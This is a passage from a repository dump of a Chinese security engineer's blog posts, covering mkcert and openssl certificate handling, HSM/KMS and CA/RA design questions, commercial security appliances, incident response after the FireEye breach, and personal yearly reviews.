15 | 你以为我暴跳如雷,其实我十分平静。国人大多中庸,平时做事也喜欢“看透不说透才是好朋友”,若遇要紧关头,更是谨遵“枪打出头鸟”的黄金法则。这可能也是为什么会有越来越多的键盘侠吧。道家说:“天地不仁以万物为刍狗”,这其实和佛家宣扬的众生平等一样。万丈迷津,只待自渡。我们相信事情在往好的方向发展,但又无关相信,只是因为那是心里最后一丝的期待。希望一切都能顺利,齐心协力度此危难。
--------------------------------------------------------------------------------
/source/_posts/2020-03-21-CA_Generate_CA_with_mkcert.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: How to use mkcert
4 | categories: 安全工程师
5 | kerywords: 证书 CA Cert
6 | tags: 数据安全 工具 旧文迁移
7 | ---
8 |
9 | # install & generate root CA with mkcert
10 |
11 | You can install `mkcert` by download binaray from `https://github.com/FiloSottile/mkcert/releases/download/` , then move it to your custom path.
12 |
13 | generate Root CA like that:
14 |
15 | ```bash
16 | i➜ /tmp ᐅ mkcert -install
17 | ```
18 | (picture was take from it installed, that would be different from first time to install it)
19 | 
20 |
21 | Also, you can find it in your local directory.
22 |
23 | ```bash
24 | i➜ /tmp ᐅ ls -R ~/.local/share/mkcert
25 | /home/mour/.local/share/mkcert:
26 | rootCA-key.pem rootCA.pem test
27 |
28 | /home/mour/.local/share/mkcert/test:
29 | 91sec.club.crt 91sec.club.key
30 | ```
31 |
32 | # generate cert with openssl & signed by your Root CA
33 |
34 | ```bash
35 | i➜ /tmp ᐅ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout 91sec.club.key -out 91sec.club.crt
36 | i➜ /tmp ᐅ mkcert -key-file 91sec.club.key -cert-file 91sec.club.crt docs.91sec.club
37 | ```
38 |
39 | Now, upload your cert to remote server, and configure it by your cert. `nginx -s reload`
40 |
41 | 
42 |
43 | # open your browser & test and verify
44 |
45 | open your `chrome` browser, and access your website(In my scenario, i change my host point to my website)
46 |
47 | 
48 |
49 | Attention please, **it's only worked for those computer which was installed by your root CA.** and not
50 |
51 |
52 | If you want find where it is, please open your `chrome` and input `chrome://settings/certificates?search=cert` and click `authorities` tab. (that would be different in another platform. for example, cert management in MacOS was manager by `keychain access`)
53 |
54 | 
55 | 
56 |
57 | So, this is a demo for you to learn CA part. if you want deep into it, you should know more about NSS, PKI, And so on.
58 |
59 |
60 | # Resources
61 | * [NSS](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS)
62 | * [mkcert](https://github.com/FiloSottile/mkcert/)
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/source/_posts/2020-03-21-CA_Overview_of_Certificate_Filetype_How_to_covert_it_with_Openssl.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Use Openssl To Convert Certificate Format
4 | categories: 安全工程师
5 | kerywords: 证书 CA Cert PKI
6 | tags: 数据安全 工具 旧文迁移
7 | ---
8 |
9 | # Overview of Cert filetype
10 |
11 | * PEM
12 | This is a (Privacy-enhanced Electronic Mail) Base64 encoded DER certificate, enclosed between “—–BEGIN CERTIFICATE—–” and “—–END CERTIFICATE—–“
13 | `openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem`
14 |
15 | * CER & CRT & DER
16 | Although usually in binary DER form, Base64-encoded certificates are also common (see .pem above).
17 | ``
18 |
19 | * P7B & P7C
20 | PKCS#7 SignedData structure without data, just certificate(s) or CRL(s)
21 |
22 | * P12
23 | PKCS#12 files may contain certificate(s) (public) and private keys (password protected).
24 |
25 | * PFX
26 | PFX is the predecessor of PKCS#12. This type of file usually contains data in PKCS#12 format (e.g., with PFX files generated in IIS).
27 | `openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile more.crt`
28 |
29 | # Openssl Tutorial & Cert Convert
30 |
31 | ## OpenSSL Convert PEM
32 | * Convert PEM to DER
33 | `openssl x509 -outform der -in certificate.pem -out certificate.der`
34 |
35 | * Convert PEM to P7B
36 | `openssl crl2pkcs7 -nocrl -certfile certificate.cer -out certificate.p7b -certfile CACert.cer`
37 |
38 | * Convert PEM to PFX
39 | `openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile CACert.crt`
40 |
41 | ## OpenSSL Convert DER
42 | * Convert DER to PEM
43 | `openssl x509 -inform der -in certificate.cer -out certificate.pem`
44 |
45 | ## OpenSSL Convert P7B
46 | * Convert P7B to PEM
47 | `openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer`
48 |
49 | * Convert P7B to PFX
50 | `openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer`
51 | `openssl pkcs12 -export -in certificate.cer -inkey privateKey.key -out certificate.pfx -certfile CACert.cer`
52 |
53 | ## OpenSSL Convert PFX
54 | * Convert PFX to PEM
55 | `openssl pkcs12 -in certificate.pfx -out certificate.cer -nodes`
56 |
57 | # Resources
58 | * [SSL cert format introduce](https://blog.freessl.cn/ssl-cert-format-introduce/)
59 | * [Cert Convert](https://www.sslshopper.com/ssl-converter.html)
60 | * [Cer & Crt different](https://comodosslstore.com/resources/cer-vs-crt-the-technical-difference-how-to-convert-them/)
--------------------------------------------------------------------------------
/source/_posts/2020-04-15-Thinking-about-Interview-II.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 再谈谈面试官与面试观
4 | categories: HowTo
5 | kerywords: 思考 反思 问题 经验 教训 总结
6 | tags: 漫漫人生路
7 | ---
8 |
9 | # 前言
10 |
11 | 我曾经在去年这个时候写过一篇关于面试与面试官的博文。叫做[浅谈面试官与面试观](https://iami.xyz/Thinking-about-Interview/)
12 | 主要讲一些面试观的事情。而事实上,随着面试人数的增加。以及在求职过程中遇到的一些经历。我的面试观再次发生了一些变化。简记于此,以飨读者。当然我在年前的求职中,即遇到了优秀的面试官,也遇到了非常不称职的面试官。盛气凌人的HR配合骗方案的N个title总监;有跟随前沿技术又和蔼的老头;有强制收集个人信息的HR;还有XX研究院上来300多题的心理测试,以及某个招信息安全经理却给了一堆计算机网络基础面试题的HR。也算是大千世界,无奇不有,都算经历吧。脉脉上有一句话叫:经济下行中的土鳖公司迷惑行为大赏。 不过好在去这些公司面试的时候,手里是已经有了offer。
13 |
14 | 老规矩,如果不想看废话,直接看最后的列表。
15 |
16 | # 面试官的三个阶段
17 |
18 | 面试官在我看来,暂时认为分为三种:
19 |
20 | 1. 一人斩
21 | 2. 百人斩
22 | 3. 千人斩
23 |
24 | 我目前应该是处在第二阶段,其实看的简历多了,不免有些感慨。尤其是接触到更加优秀的人,看着别人优秀的履历。你才知道需要不停的努力。直到最后,你才开始明白,承认自己平庸也需要勇气。但这不是意味着放弃努力,而是让你自勉。另一方面,人类容易表现针对弱者的同情心,但是对强者却往往表现出一些负面行为,羡慕嫉妒恨。就是一个不好的演变过程。回到三个阶段,第一个阶段是刚面试具有一些新奇的体验,自己也终于开始面试别人了,难免会有些沾沾自喜。第二阶段其实面试30个人左右(注意,这里不是持续每天不停的像HR那种,这样的话反而欲速则不达),此时你已经经历了一段面试,也明白了怎么样变得更友好,发现更多未来的同事。但还是不足以面试那些非自己专业领域的同事。当你到百人的时候,你会陷入一个瓶颈,如果你不能遇见一个指导你的人,其实很难有提升。比如我的改变就来自Steven对我的面试。形容起来是,语气和缓,态度平静。娓娓道来,尽兴沟通。不过我相信千人的经验之后,肯定会有新的变化。期待过个7-10年,再来补充第三次认知改变。
25 |
26 |
27 | # 结论
28 |
29 | 新增如下:
30 |
31 | * 介绍团队背景,招聘需求,规划。(实话实说,有别于画饼和忽悠)
32 | * 给出更多的空间让面试者表达,挖掘对方的优点,不仅是你需要的。
33 | * 如何面试你不知道的领域,技术怎么用通用的语言表述(当然也需要更专业的人去检测)
34 | * 考察对方的背景,组织架构,项目经历,承担职责。亮点以及遇到窘境的心理和态度
35 |
36 |
37 | # 其他
38 |
39 | 入职新公司也有两个月了,因为挺忙的,所以并没有更有多少新的博文,想写几篇也是一直拖着没动手。而且由于一些信息安全policy的问题,也不能分享出来。不管怎么样,还是希望以后能够持续记录自己的人生历程吧。我偶然看到lake2的签名是不信书,信运气。尽信书不如无书,所以信运气无妨,但也不可尽信运气。毕竟别人看到你第一千步的闪亮之前你还需要付出脚踏实地的九百九十步努力。最近学到了很多东西,还是很值得的,充实而疲惫。
--------------------------------------------------------------------------------
/source/_posts/2020-04-15-What-Hells-In-HSM.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: KMS/HSM的一点收益
4 | categories: 安全工程师
5 | kerywords: 企业安全 互联网企业安全
6 | tags: 安全运维 安全架构 数据安全
7 | ---
8 |
9 | 加密机这种东西在互联网企业并不常见,金融行业可以说是标配。作为数据安全的重要一环。承担着密钥保存,数据加解密,密钥的全生命周期管理等等作用。不过从另一方面思考,数据安全是否更多的依赖策略和战略?
10 |
11 | 出于一些原因。设计的架构图就不放在这里了。但简单的记录一些问题在此处,看看你有没有考虑到这些问题。一切数据安全的问题,都应该是紧贴具体某个场景的。
12 |
13 | 软硬件相关(架构,网络,密码学)
14 | * HSM和KMS怎么交互?是否存在KMS不能连接HSM的情况?
15 | * 应用怎么和HSM以及KMS进行交互? 是否每个应用都要和HSM或KMS交互?
16 | * 如果存在中间件用于和KMS和HSM交互,那么该应用的仅能存储哪些信息就可以支持工作?
17 | * 你需要KMS和HSM提供哪些功能?KMS是否具有单独的HSM模块,而不是单独的HSM机器?
18 | * HSM和KMS分别支持哪些管理方式?远程管理的安全性怎么确保呢?
19 | * 国密局标准和FIPS标准怎么协调实现?
20 | * LMK是否能够导出,不同厂商的LMK在手动输入的情况下有没有可能一致?
21 | * 对称秘钥和非对称秘钥的导出方式呢,自动化程度呢?
22 | * 导出和日常操作的权限管理机制是什么样子的?
23 | * 存储管理员登录凭证的介质是否存储存储其他数据?
24 | * 中间件和HSM和KMS通信是否做到了加密通讯,以及cert认证?(不要认为在自己的IDC就可以不考虑)
25 | * 密钥的分发,导入,验证?
26 | * 多台密码机间如何确保数据一致性,有哪些同步的操作?
27 | * CA系统,金融生态的相关证书怎么样能够安全的存在HSM里,是否支持该功能?(比如NUCC,CFCA,CUP等)
28 | * 你和相关系统的链接是不是要专线,网络访问控制怎么进行,是不是影响到现有的安全策略?
29 | * 当前架构下的性能,吞吐量呢?
30 |
31 | (知道和做过真的是两回事啊,hands on 的过程,虽然痛苦,但是可以学到很多东西。希望能从deep knowledge到deep experience的过程能够顺利,预祝自己填坑顺利)
32 |
33 | 策略和物理相关
34 | * 收货的策略,相关人员角色,验证流程,记录流程,各种意外怎么处理
35 | * 上架的策略,相关人员角色,验证流程,记录流程
36 | * 下架以及数据销毁的策略,验证流程,记录流程
37 | * 备份策略,维护策略,冷备策略,保管策略,保险箱等等
38 | * KSO的角色设定,一些baseline怎么控制等等
39 |
40 |
41 | # 其他
42 |
43 | 其实是需要了解PKI体系,基本的密码学知识,以及相应的架构设计等等。 最近在翻译CISO对话系列的文章时,摩根大通的CISO提到的一点确实使我没有想到的,就是金融行业的生态问题。由于具有高度的安全性要求,以及各个机构之间的相互依赖。所以肯定是有许多远超系统本身要考虑的东西。好久没有更新,暂且更新两篇到Blog。数据安全架构的文章,已经拖了1个多月了,什么时候写呢?
--------------------------------------------------------------------------------
/source/_posts/2020-06-02-What-Hells-In-CA-And-RA.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: CA/RA的一点收益
4 | categories: 安全工程师
5 | kerywords: 企业安全 互联网企业安全
6 | tags: 安全运维 安全架构 数据安全
7 | ---
8 |
9 | 证书系统作为PKI体系里的一部分。充分的体现了信任链的作用。虽然不一定能完全理解椭圆双曲线的加密奥妙,但是对于证书系统还是有不少东西可以放在这的。同样,如之前在KMS和HSM的博客里所提到的,本篇也依旧是简单记录一下考虑点,不会有过多的架构设计以及详细的细节。合规,证书类型,功能支持算法,强度,CA/RA部署位置(逻辑,物理,主机,数据库相关等),网络访问,系统认证方式,监控方式,证书存储介质,证书获取流程(包含CSR模板,办公网生产网证书使用策略,过期提醒更新等等),销毁方式,以及其依赖产品的相关需求。
10 |
11 | 当然也并不是所有的场景都需要自建PKI体系,或者说即便自建了PKI,也不一定需要CA、RA系统。同样,相较于金融行业,无论是互金还是传统金融,CA、RA都是比较常见的系统。
12 |
13 | * 需要自建CA或RA吗?会有来自监管的压力吗?(自建CA和自建RA是两个不同的概念,很大一部分来自内外监管的压力,内部也有自己的规范)
14 | * CA系统和HSM能对接吗?支持哪些厂商的HSM集成,用到了哪些功能?
15 | * 是否能够提供离线CA的功能?如何使你的root CA能够非常安全的保存?
16 | * 需要建设Offline CA吗? (Offline CA是指根CA离线存放,平时用中间子CA签发证书)
17 | * RA能支持完全的API化吗?例如国内CFCA的CA正常情况下都是以windows+IE+CFCA工具箱+证书+证书密码的方式去访问,十分繁琐)
18 | * 正常的功能支持吗?除却算法外生成多域名时,是否会溢出。单证和双证呢?复合证书呢?吊销的CRL列表是大家都能访问到的吗?
19 | * 是依托KMS的HSM模块,还是采购单独的HSM?
20 | * Offline CA的部署需要HA吗,中间子CA的HA又要怎么做呢?
21 | * 数据库要和CA/RA放在一个主机吗?
22 | * RA/CA能放在同一个区吗?
23 | * CA所使用的HSM能放在同一个机架上吗?
24 | * 存证书的HSM支持网联证书的导入吗?(需要考虑整个生态里可能涉及到的东西,尤其是金融行业生态化的约束和规定过多,同样又有着各式各样的自定义体系,因此需要考虑到其后服务的业务方所面临的场景)
25 | * Hashicorp的Vault能和HSM整合吗? (Vault能满足自建PKI的需求吗?不支持国密算法,现在又面临了合规上的问题)
26 | * HSM支持Microsoft ADCS调用吗?
27 | * 证书的存储怎么设计,流程,介质?
28 | * 证书的监控和更新周期呢?
29 | * 测试网,生产网对证书的使用是一个什么策略?允许通配符证书吗?
30 | * 数据库的高可用怎么做?需要你来考虑吗?是不是数据库去做会更好?
31 | * CA系统能够自动failover吗?
32 | * 在使用场景中,DB用的,web服务器用的,以及不同的格式对应应该怎么去做。是否存在浏览器访问场景,公签证书怎么去做?
33 | * 全站HTTPS之外,日志收集是不是需要enable certificate传输,加签验签还是加密解密?
34 | * 网联证书这种每天的自动更新证书又该怎么设计获取流程和存储方案?
35 | * 如何使不同的终端信任,比如说生产网linux server, docker, k8, 办公网mac, windows等等,如何有效的管理和联动呢?
36 |
37 | 除了部署架构,流程管理,模板设计以及使用场景之外,在目前就职公司的工作经历中,由于很大一部分的基础设施来自于采购。也就导致了工作模式的一个差距,比如采购的A企业的证书系统,B企业的加密机,同时当证书系统需要整合加密机时,这种事情即便是作为甲方,跨企业的去沟通相关细节也是比较麻烦的。所以项目管理也占了一部分,既要把控质量,也要把控进度。还不能使不同方面觉得你盛气凌人。都是学问。
38 |
39 | # Resources
40 |
41 | * [【CA】How to install root CA in your server?](https://github.com/mylamour/blog/issues/75)
42 | * [【CA】How to build your own Certificate Authority](https://github.com/mylamour/blog/issues/74)
43 | * [【CA】Overview of Certificate Filetype & How to covert it with Openssl](https://github.com/mylamour/blog/issues/73)
44 | * [【CA】Generate CA with mkcert](https://github.com/mylamour/blog/issues/72)
45 |
46 |
--------------------------------------------------------------------------------
/source/_posts/2020-07-05-OpenSource-VS-Business.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 商业设备的使用心得
4 | categories: 安全工程师
5 | kerywords: 企业安全 互联网企业安全 数据安全
6 | tags: 安全运维 安全架构
7 | ---
8 |
9 | # 前言
10 |
11 | 在我的从业经历里,最初的时候可以说是开源时代,生产网部署一些ossec/wauzh/suricata,极少有采购的产品,绝大多数是借助开源搭建的,至于办公网,端上更是缺乏管控的,只能通过边界做隔离。但是由于生产环境都在公有云上(AWS,阿里云),所以其实一些基础的防御是依托了云厂商本身的。不过由于预算问题,也并不能采购多少云上的安全产品。后来去了大厂,大部分产品又都变成了自研的,结合内部系统做了很多的定制化,岗位职责明确细分。不过办公网的安全产品仍存在一定的采购。但是即便是少量的采购也是非常大的一笔预算,比如一个license 100块,覆盖5w个终端要多少钱?同时,当时从IDC上云的过程,安全产品的选项也在逐渐改变,一方面是集团安全的策略,一方面是阿里云公有云的售卖,还有一方面是自研产品。 再到现在的一个金融企业里,环境既不像之前的多云,也不像多IDC+云, 而是纯粹的变成了IDC。当然政策要求,无可厚非。
12 |
13 | # 正文
14 |
15 | 商业设备具有一定的成熟性,但跌代往往没有开源的快。
16 |
17 | 特点:
18 |
19 | * 硬件+软件形式售卖,一般管理平台是软件,license采取年更或者3年更方式。
20 | * 定制化OS, 限制性命令行,同时进行了封装,可以通过特殊指令使用完整shell。
21 | * 细节设计有缺陷,尤其是一些读写文件操作,密码错误后会直接删除特定目录的文件。
22 | * 厂商在针对license激活方面为了防止盗版做了大量工作,但似乎收效甚微。
23 | * 一般遇到问题都能够很快解决,不需要求助于社区。
24 |
25 |
26 | 问题:
27 |
28 | 其实从采购到POC,到维护设备,以及支持业务方使用的过程中,问题只会越来越多。POC时考虑下功能,性能,运维,运营,应用,多想想又没错。
29 |
30 | * 目前商业化产品虽然贵,技术支持和售后也不错,但是并不是适用于每一个企业,定制化仍然需求强烈。
31 | * 凡是想做HA,哪怕是管理平台也要买两个License,(乙方一般让用户购买更多的管理平台),但每台机器不能重复注册到不同管理平台。这样也难免出现单点故障,如果单独注册就增加了运营的难度。
32 | * 相比于自研或者开源,每一套都需要一定的学习成本。同时,商业产品背后也采用了不少开源技术,例如radware的系统内部也是套用了ELK
33 | * 很多企业在采购的商业产品从选型到部署到配置,几乎都是技术支持来完成的(大概率),那么其中的细节和坑企业是否知道呢?
34 | * 很多企业以为采用商业产品就能够怎么怎么样,其实这些商业产品流露在外的并不少,留意下即可发下,针对每种设备的hacker研究者并不少, 同时由于商业产品不会把用户聚集在一起,因此出了事情的时候受灾更加严重。
35 | * 针对商用设备出现的漏洞研究相对较少,也导致了漏洞暴露的时间会有延迟。在野利用无法被及时检测。
36 | * 不同产品的后端存储不一致,导致数据库种类维护增多。是分给DBA去做,还是自己构建集群,有没有读写分离场景?
37 |
38 |
39 | 技巧:
40 |
41 | * 如果上传比较慢,可以先拷贝到生产网某台机器,然后内部sftp/ftp速度会快。
42 | * 国企或者银行这一类的技术支持积极性并不高,需要通过商务来推动
43 |
44 | # 总结
45 |
46 | 我最初见到的招聘简历里是说道要求运维有百台左右的维护经验(我并不是运维),后来又看到美团招反入侵时要求有10w+服务器的治理经验(当然那时候可能生产网2w+办公网3w台左右吧),但是当突然发现安全的设备和服务器在排除大数据平台时也逐渐的达到百余台后,其实心中的思考逐渐多了起来。尤其是在这种持续性的增长过程。
47 |
48 | 从维护方面来说,面临着种类增加,维护困难。 从业务来说,提供了更多的业务出去,需要更多的运营人员。 这个后面会放在DevSecOps的文章里谈谈吧。
--------------------------------------------------------------------------------
/source/_posts/2020-10-17-Recent-Time.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 半年度个人总结
4 | categories: HowTo
5 | kerywords: 总结
6 | tags: 漫漫人生路
7 | ---
8 |
9 |
10 | 最近日程很紧,就少了许多时间去写博客,也就少了许多记录的乐趣。今天得空,不妨就简单总结下最近的事情吧,顺便把前些天存的记录发出来。
11 |
12 | # 工作
13 |
14 | 这是第一次将近十个月的时间都在家办公,远程办公并没有导致效率降低,但却使得工作和生活的界限更加模糊。只能通过给自己创造足够的仪式感来避免这种情况。PayPal自从收购了国付宝之后,开始大力在国内兴建数据中心,安全团队也由最初的1个人——我到现在每个方向都有人在参与。 最初的时候一个人刚来,正值第一个数据中心的建设,英语口语也没有那么流畅,只能每天晚上练下口语,然后早上起来6点多起来开会。日复一日,也好在把IDC的场子撑了起来,当然这也就不得不感谢Global Team的帮助,没有他们的协助实施,是不可能去Cover这么多的。公司的福利也还是不错的,能够提供健康日去给员工额外的时间休假,陪伴家人。 WFH还能够分类提供几百美元的报销金额。
15 |
16 | 做了哪些事情,简单的说是:
17 | 1. IDC 1的基础安全建设和数据安全建设,以及正在做的IDC2的基础安全和数据安全。
18 | 2. 编写安全建设的相关文档。
19 | 3. 对接业务方的安全需求,尤其是合作伙伴之间。
20 | 4. 参与合规,过检项目。
21 |
22 | 入职以来,公司的股票涨了大概80%,还是蛮开心的。
23 |
24 |
35 |
36 |
44 |
45 |
56 |
57 |
58 | # 生活
59 |
60 | 1. 更多的时间在家里,就不可避免的参加到更多的家务劳动中去。
61 | 2. 有很多个第一次,第一次去野营,第一次开长途,第一次去女朋友家,第一次带女朋友回老家等。
62 | 3. 很久没有回老家过中秋国庆,得偿所愿。
63 | 4. 做饭的功力大为上涨,胖了不少,正在减肥ing.
64 | 5. 生活中有肯帮助你的老大哥,那是一件很好的事情。无论是给你指导,亦或怎样。人要懂得感恩。只懂得索取,不懂得分享的只能算是酒肉“朋友”了。
65 | 6. 愈发觉得真诚和坚毅是十分优良的品质,且十分难得。(固执不是)
66 | 7. 逐渐开始思考副业,但是主业却还没有做好。
67 |
68 | 关于生活有很多思考,人生的原则都在不停的形成固化中。但有时候又觉得我们过于容易原谅自己,挑刺别人。不妨用更宽广的胸怀看你世界。同时觉得钱十分不经花了,物价上涨的厉害。当然这就很老百姓的说法了,经济学家自有一套分析理论。
69 |
70 | # 技术周边
71 |
72 | 1. 9月份完成了为期一年的月度技术分享。
73 | 2. 年初看了《大型互联网企业安全架构》,现在在看《风控要略》
74 | 3. 用Gatsby分别搭建了 https://iread.cool 和 https://ciso.chat 维护了一阵子。公众号也在维护。
75 | 4. 做了小团队的技术准备环境,已经都尝试了一遍。
76 | 5. 全面的梳理的基础安全,应用安全,数据安全要做的一些事情。
77 | 6. 年初的计划是研究云和云原生安全,以及数据安全。 云和云原生这一块没有十分深入。
78 | 7. 年初时写了个水印工具,工作中定制了个证书下载的GUI工具。
79 | 8. 把G613拆了下,清洗干净
80 | 9. 尝试给一个手机换屏幕,一个手机换电池,结果全碎。。。。搬家显示器屏幕也裂缝了。。。
81 | 10. 参加刷leetcode的月赛,结果鸽子了半个月。累计只刷了半个月。
82 | 11. 筹划写企业信息安全知识库,其实是去年就筹划的了。今年才开始动笔。
83 |
84 |
85 | # 其他
86 |
87 | 看了朋友圈才知道今天是第七个国家扶贫日,也突然发现老家已然“脱贫”,也看了宣传的图册。不禁想唠叨几句,脱贫不是村干部去到贫困户家里说一声“今年2020年了,我们要全面小康了,你们已经脱贫了”。也不仅仅是把土路修成了水泥路,居民迁居到一起就能完成的。 农民并没有因为交通便利,迁居就能够有新的收入,当然贫穷也不仅仅是财富方面。农村本身没有新兴的盈利模式,通过为了响应政策的画饼式工作来达到脱贫是不现实的。当然这并不是说政府的措施没有成效,起码在衣食住行上的确对百姓带来了便利。就国庆回老家看到的东西而言,缺乏新生劳动力的乡村似乎是降低了许多生存的难度,但也却总觉得缺了什么。期望人人可以自强,向上,互帮互助。
--------------------------------------------------------------------------------
/source/_posts/2020-12-10-Thoughts_on_Fast_Incident_Response_FIR_.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Thoughts on Fast Incident Response(FIR)
4 | categories: 安全工程师
5 | kerywords: Incident Response
6 | tags: 应急响应 旧文迁移
7 | ---
8 |
9 | About FireEye being attacked by APT. They showed a very sincere attitude. This is worthy of respect and learning. But for other companies how to deal with subsequent impact is a problem.
10 |
11 | 1. Check the contents of the weapon library and make patches for the attack surface.
12 |
13 | * Which affected products are used in your company?
14 | * What is the impact on the business? which businesses have higher levels?
15 | * What is the fastest potential way to protect it?
16 | Also in most cases, manufacturers will release official patches. if not, you should be able to do soft patches.
17 |
18 | 2. Extract the IOC from the weapon library and make a scan on the whole assets.
19 |
20 | * Analyze the sample library and get some IOC
21 | * Find your asset list and Identify potentially affected assets
22 | * Sort out the targets that can be detected, Whether it’s files, network traffic, or anything else.
23 | * At the same time, you need to know which places are inaccessible and monitor them accordingly
24 |
25 | According to Tencent's Security Laboratory, they have detected many new IOC
26 |
27 | 3. Tracing the Corresponding Attacks and Make a Forensic Analysis.
28 |
29 | * Know how the attack is formed
30 | * Fixed evidence is the most important, memory mirroring is also necessary
31 | * According to the analysis results and find some information from Threat Intelligence Base. (Maybe you have your own channel information)
32 |
33 | The premise is that there are sufficient resources, and most cases can only meet the first two steps. Professional traceability analysts are not easy to find.
34 |
35 | At the same time, don’t forget to follow the company’s internal regulations to initiate corresponding changes. For example:
36 |
37 | * Follow the Online Change Plan and Special Approval Process
38 | * Prepare SOP in advance,Include repair plan and rollback plan, etc.
39 | * Quickly find the interface person and implement the steps
40 | * Notify relevant departments whether the repair is completed and whether it takes effect
41 | * Add to a Disaster Drill Plan And conduct regular drills
42 |
43 | It is still necessary to recruit professional security engineers and continuously optimize the security defense architecture and improve the emergency response process in order to achieve the fastest recovery measures. Win precious time difference in the war with the attacker. also for security engineers, solving problems should be value-driven, threat-driven, and disaster-driven, not management-driven. I have to say, it's so funny.
--------------------------------------------------------------------------------
/source/_posts/2021-12-31-EOY-More-Ways-To-Make-A-Difference.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 年度个人总结
4 | categories: HowTo
5 | kerywords: 人生 起伏
6 | tags: 漫漫人生路
7 | ---
8 |
9 | # 个人、生活
10 |
11 | 总结: 最大的变化就是成家了。对于生活依旧热爱,依旧真诚。
12 |
13 |
14 | WFH已经近两年了,虽然有更多的精力可以投入到生活上去,不过却诸事繁杂,每月都在忙来忙去。年初到年尾去了医院几次,肺炎住院,智齿发炎,急性肠胃炎,急性过敏。尤其住院比较折腾我老婆,当时还是女朋友的身份。刚刚入职不久她因为这事请假给领导电话一着急哭的稀里哗啦。后来两人领证、然后付掉买房首付,开始成为一个还贷人。生活似乎向着希望前进,奶奶却出了车祸,在ICU住了几周后离大家而去。鸡零狗碎不足与外人道哉,家门不幸。我直到去上大学前都是和爷爷奶奶一起生活。每每想到这事,[悲从中来](https://github.com/mylamour/blog/issues/84),母亲大多痛哭。而我原本落叶归根的思想也渐渐淡去。
15 |
16 | 婚姻是一件人生大事,婚礼更是体会过的最复杂的项目管理。深感婚姻不是一个人的事情,也不是两人之间的事情,是两个家庭,不同风俗间的冲突的最优化,可能也没有最优化,只能尽量让大家不那么不舒服。充满动力,一路向前。拍婚纱照,订婚,合算吉日,制定请柬,接亲迎亲(还有什么东进西出),安排朋友行程、住宿。也正因婚礼多年好友相逢,心中感慨非常。友谊恰如醇酒,即便已在不同的人生路上,他日相逢,还是可以共品佳酿。当然也有人情冷暖,不过大都不必妄自菲薄。
17 |
18 | # 工作、技术
19 |
20 | 总结:需要更勇敢一点,多去尝试。做到知行合一。
21 |
22 | 习惯了远程办公,中英掺杂的对话,阿三的英语听起来还是费咖喱。重复了几次的机房建设,似乎项目缺乏了新意。组织变动,倒也对个人影响不大,只是上层太迷。不过从去年2月加入PayPal China,到6月被划到GoPay,两年以来似乎都没怎么调薪,个人需要更多薪酬的同时技术的天花板也越来越明显,对职业的发展开始产生怀疑。似乎是摸清了安全的大概,面对现实也开始产生困惑,一种做安全的无力感。开始重拾起近两年的愿望,想要**成书**。如琢如磨,总算是成了一本《安全架构要参:构建企业适用的安全架构》,文字倒不多。亚马逊链接: https://www.amazon.com/dp/B09PG4Y5J5 ,当然也可以访问直接阅读 https://book.iami.xyz
23 |
24 | 书本序言如下,也是的心理状态描述:
25 | > 近年来市面上中文类安全书籍大有迸发之势,纵观所读,大多着眼于工具使用亦或某一领域的技术介绍。谈及安全架构必然长篇大论,洋洋洒洒不尽其数。质量上乘者却多以译本 为主,作品又极少。笔者原亦想增砖添瓦,奈何才疏学浅。因此虽有时成书之意,却无动笔之宜。疫情以来,无奈何居家办公,得闲整理之前所学,动笔之意渐强,便顺其自然打算写一本中文安全书籍。
26 | 动笔之初,原想借此前手稿写一本企业安全类相关书籍。后审阅再三,仍觉个人水平不足。故缩小范围,仅就安全架构相关成文。时值晚秋,大体部分已经写完,回顾来看却仅有万余字,说成书倒不如成文合适。心中犹豫,能以书论否?后又雕琢,发现文字愈少,亦愈发忐忑。隧请教一位编辑,“问诊”之后建议我将骨干铺开,细节引申,填充文章之血肉,使其饱满。感谢之余确有受益。后再次审阅全文,愈进行增补删改,忽觉背离本意。原意在梳理安全架构之方方面面,启发读者自行组装框架,有所参考,但又不拘束于此。自省二三,我何以看重自己写的是个书,还是个册子呢?正所谓破山中贼易,破心中贼难。又过了几天,笔者再次阅读手稿,执念渐淡。但求行文有效,倒也不再拘泥字数与否。细想之,不过一本拙作而已,抛砖引玉罢了。
27 | 今年以来天灾人祸,诸事繁杂 。心中闷闷,却也最终完成写作。笔者深知自身资历平平,成文之后难免有所疏漏亦或观点错误。亦不知此书有人阅读与否,如有不吝赐教者自当十分感谢。
28 |
29 | 另外的深切体会就是国人当**自强**,外企中更能体会到**制裁**和不平等。
30 |
31 | # 其他
32 |
33 | * More Ways To Make A Difference
34 | * 驾驶的第一个一万公里的兴奋是大于两万公里的,应该始终保持警觉。
35 | * 篆刻书法——讲究书法、章法、刀法,理念印从书出,确实如此。当设计印稿,浓墨上石,冲切而成。作为小白,每天刻练,月余以来,直到前天才和刚下刀时有一点区别,也算是愚钝了。
36 | * 摄影剪辑——单反都吃灰了,又入手了运动相机。倒是剪辑了几个延时摄影。
37 | * 读完18本书,但还有10本仅看了一点的。技术的先不论,《乌合之众》和《身份的焦虑》对生活比较帮助。
38 | * 安全架构推荐阅读的书籍:
39 | * 每月的技术分享会在持续完整两年之后已经鸽了2个月了(包含本月)
40 | * 养了个猫咪,在第四个月(婚礼前一个月,本打算办完婚礼带回来)的时候在媳妇老家被邻居电瓶车撞死了,很是伤心。
41 | * 给自己起了个别号行一
--------------------------------------------------------------------------------
/source/_posts/2022-05-31-Architecture-Discussion.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 架构杂谈
4 | categories: 安全架构师
